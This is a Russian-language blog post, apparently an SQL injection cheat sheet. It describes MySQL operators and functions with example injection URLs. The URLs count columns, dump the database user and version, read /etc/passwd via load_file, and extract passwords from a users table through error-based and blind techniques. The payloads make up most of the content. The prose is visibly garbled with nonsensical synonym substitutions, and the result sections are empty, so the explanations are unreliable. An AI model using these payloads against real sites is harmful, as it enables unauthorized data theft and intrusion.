logo site
Страницы
  • Карта Сайта
Реклама
Рубрики
  • Basic
  • C#
  • Flash
  • Net
  • Objective-C
  • Pascal
  • Ruby
  • SQL
  • Новости
  • Проектирование и архитектура
  • Фортран
Партнеры:
ноября
30

Персональный блог: Операторы и функции, применяемых при SQL Injection

Автор: admin, размещено в: SQL, комментарии: Комментариев нет

При проведении SQL Injection нередко использут операторы, о которых вы вероятно прекрасно не понимаете. Получается, что далее скоро приведу по-хорошему доскональное описание с образцами, перечень операторов станет плавно возрастать. Но с другой стороны долго рассматриваются операторы MySQL, т.к данное более вправду знаменитая СУБД, в иных есть просто-таки похожие операторы.

>

Оператор UNION употребляется для соединения SELECT запросов. По правде говоря если ALL не принято на вооружение, то дубликаты исключаются из соединения последствий. все запросы производятся самостоятельно между собой, а теснее вывод их - объединяется. главное - численность полей до оператора UNION и после обязано охотно отвечать. 

Пример:

>

Используется для подбора числа полей. ошибок не станет, в случае если численность полей менее либо одинаково n.

Пример:

// http://example.org/script.php?id=-1+group+by+6–+-

>

Также употребляется для подбора численности полей, хотя число полей наверное более или же одинаково n.

// http://example.org/script.php?id=-1+order+by+6–+-

>

Интерпретирует доводы как целые количества и отдаёт строчку, состоящую из знаков, сообразных ASCII-коду данных количеств. величины NULL пропускаются

Пример:

Результат:

>

Функция выводит логин пользователя, под коим мы подключены к MYSQL

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,user(),3–+-

Результат:

>

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,database(),3–+-

Результат:

>

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,version(),3–+-

Результат:

>

Функция отдаёт строчку, которая тихо является эффектом соединения подстрок (str1, str2, str3…) в некую строчку. если даже 1 из доводов попросту равен NULL, ворачивается NULL. может обратно брать на себя наиболее 2 доводов. число преобразуется отчасти в эквивалентную строковую форму.

Пример 1:

// http://example.org/script.php?id=-1+union+all+select+1,concat(database(),0×3a3a,user(),0×3a3a,121),3–+-

Результат:

Пояснения: 0×3a3a - hex вариант представления 2 двоеточий. также применяют char(58). Использскакавшей разделителя.

Пример 2:

// http://example.org/script.php?id=-1+union+all+select+1,concat(database(),char(58),user(),0×3a3a,121),3–+-

>

Специальная форма функции CONCAT(), означает CONCAT With Separator(с разделителем). первый довод относительно считается разделителем для добровольно оставшихся доводов. разделитель, однозначно аналогично как и другие доводы, быть может строчкой. если разделитель по-своему равен NULL, то эффект станет NULL. данная функция станет отлично пропускать все величины NULL и громко пустующие строчки, находящиеся в последствии аргумента-разделителя(в различие от CONCAT, который в такой ситуации отдаёт NULL) . разделитель станет добавляться меж строчками (str1,str2,str3…)

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,concat_ws(0×3a3a,database(),NULL,user(),121),3–+-

>

Функция GROUP_CONCAT() соединяет в некую строчку немного запросов из таблицы. также вполне вероятно внедрение личного разделителя. Для юзеров Opera: 0×0b - неэкранированный знак перехода на новейшую строчку. налицо главной задачей этого оператора будет то, что размер окончательно отдаваемых им этих урезан весьма системной вправду переменной group_concat_max_len, по умолчанию взаправду одинаковым 1024 б. таким образом, применять GROUP_CONCAT() комфортно только при получении заранее не очень больших размеров этих. однако применение GROUP_CONCAT() не настоятельно убедительно просит выводить информацию построчно при помощи LIMIT, как в CONCAT и CONCAT_WS, данная фунция выводит всю таблицу.

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,group_concat(database(),0×3a3a,user()+SEPARATOR+0×0b),3–+-

>

Возвертит ASCII-код первого левого знака строчки str. подробно возвращает 0,

в случае если строчка str бессодержательная. подробно возвращает NULL, когда строчка str

существует.

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,ascii(123),3–+-

Результат:

>

В случае, раз 1 левый знак строчки str относительно считается многобайтовым,

подробно возвращает его код в формате: ((1 б ASCII- код)*256+(второй

б ASCII -код))[*256+третий б ASCII -код...].

Если не классифицируется многобайтовым, то срабатывает подобно ASCII()

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,ord(123),3–+-

Результат:

>

Функция для конвертирования количества (int_or_str ) из одной системы исчисления (from_base) в иную систему (to_base). подробно возвращает NULL, раз доводы NULL. значения воистину заключительных 2-ух характеристик лично имеют все шансы быть от 2 до 36.

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,CONV(123,10,6),3–+-

Результат:

>

Возвращает двоичное значение довода int. слишком аналогично деянию CONV(int,10,2). подробно возвращает NULL, когда довод int NULL.

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,bin(123),3–+-

Результат:

>

Возвращает шестнадцатиричное значение довода int_or_string. очень-очень аналогично воздействию CONV(int,10,16). подробно возвращает NULL, коль скоро довод int_or_string NULL.

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,hex(123),3–+-

Результат:

>

SUBSTRING(str, pos int, len int) == MID == SUBSTR 

Возвращает подстроку строчки str длиною len знаков с позиции pos. Eсли не указан довод len, то отдаёт всю подстроку строчки str с позиции pos.

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,MID(123,1,2),3–+-

// http://example.org/script.php?id=-1+union+all+select+1,SUBSTRING(123,1,2),3–+-

// http://example.org/script.php?id=-1+union+all+select+SUBSTR(123,1,2),3–+-

Результат:

>

Возвертит строчку str, сменив в ней все прямо-таки заглавные буквы ненамного на прописные.

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,LOWER(’uNiOn’),3–+-

// http://example.org/script.php?id=-1+union+all+select+1,LCASE(’uNiOn’),3–+-

Результат:

>

Возвертит строчку str, сменив в ней все по-своему прописные буквы очень-очень на заглавные.

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,UPPER(’uNiOn’),3–+-

// http://example.org/script.php?id=-1+union+all+select+1,UCASE(’uNiOn’),3–+-

Результат:

>

Читает файл и отдаёт его контент повторяющий вид строчки (при весьма физическом наличии файла и подходящими правами доступа к нему). file_name относительно считается прямо-таки полным методом к файлу на сервере.  Файл обязан быть объемом менее, нежели хладнокровно установлено параметром

max_allowed_packet. при происхождении трудностей (неимение файла и тд.)

подробно возвращает NULL.

Пример:

// http://example.org/script.php?id=-1+union+all+select+1,load_file(’/etc/passwd’),3–+-

Результат:

>

ExtractValue(xml-type-instance, ‘xpath-expression’)

Извлекает значение составляющей из XML-документа либо XML-данных.

Пример:

// http://example.org/script.php?id=-1+and+extractvalue(1,concat(0×5c,(select+password+from+users+limit+0,1)))–+-

Результат:

>

Выполняет выражение явное число разов. обратно идет перегрузка на сервер.

Пример:

>

Возвертит число знаков, особенно одинаковое len, из строчки str, обычно начиная с самого левого знака

Пример:

// http://example.org/script.php?id=-1+union+select+left(’mysql_server’,5)–+-

Результат:

>

Сравнивает 2 строчки и отдаёт 0, коль скоро более-менее одинаковы, 1 ежели 1-ая более 2 и -1 в случае если 1-ая менее 2.

Пример:

// http://example.org/script.php?id=-1+union+select+strcmp(’str’,’str2′)–+-

Результат:

>

Оператор JOIN при применении в SELECT запросах обединяет записи из 2 и поболее таблиц. существуют поистине всевозможные варианты оператора JOIN, в неких из их нужно будет однозначно неотъемлемое применение join_condition.

Пример:

// http://example.org/script.php?id=-1+union+select*from+table1+full+join+table2–+-

Результат:

Все ценности из таблицы table1 и table2 в отсутствии повторений.

>

Функция отдаёт значение от 1 до …, исходя из позиции строчки str посреди строчек str1, str2,… подробно возвращает 0, коль скоро str Добросовестно не обнаружена из числа строчек str1, str2,…. подробно возвращает NULL, в случае если 1 из доводов NULL.

Пример:(для наглядности представим что пароль взаправду необыкновенно числовой)

// http://example.org/script.php?id=-1+union+select+find_in_set(mid((select+password+from+users+limit+0,1),1,1),’0,1,2,3,4,5,6,7,8,9′)–+-

Результат:

Если 1-ая цифра пароля 5, то запрос возвратит 6.

>

Оставить комментарий

Вы должны быть зарегистрироавны чтобы оставить комментарий.

  • Категории
  • Новости
  • Популярное
  • Комментарии
  • Архив
Programmirovanie. Все права защищены